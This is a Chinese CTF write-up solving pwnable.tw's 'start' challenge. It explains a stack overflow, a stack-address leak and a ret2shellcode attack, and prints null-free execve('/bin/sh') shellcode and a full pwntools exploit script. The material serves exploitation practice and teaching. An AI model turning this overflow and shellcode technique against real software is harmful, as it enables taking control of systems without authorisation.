pwnable.tw | 第1题start
### 前言
咱又开始刷题了,都说pwnable.tw质量高,那这次就找它吧,从第一题刷起
分析
IDA打开,就这么一小段汇编,压了个字符串,write打印出来,再read读入3C个字节,溢出了0x3C-0x14个字节,可以覆盖返回地址以下的栈上内容
eax和ebx都控制不了,ret2syscall行不通,checksec看了下未开NX,那直接ret2shellcode
利用
先溢出一次覆盖返回地址,打向0x8048087,write会把当前栈上的内容打印出来,从而泄露栈地址,再次read溢出覆盖返回地址为栈地址,并将shellcode写入栈中,ret后getshell
shellcode功能是进行execve系统调用
execve("/bin/sh",NULL,NULL)
Pwntools提供的shellcode过长无法使用,可以自己写一个,需要注意避开"\x00"截断
xor ecx,ecx
xor edx,edx
push edx ;避开\x00截断字符串
push 0x68732f6e ; 'n/sh'
push 0x69622f2f ; '//bi'
mov ebx,esp
mov al,0xb
int 0x80
EXP如下
from pwn import *
context.log_level="debug"
p = process('./start')
payload = 'A'*0x14 + p32(0x8048087)
p.sendafter("Let's start the CTF:",payload)
stack_addr = u32(p.recv(4))
print 'stack_addr: '+hex(stack_addr)
#shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
payload = 'A'*0x14 + p32(stack_addr+0x14)+shellcode
p.send(payload)
p.interactive()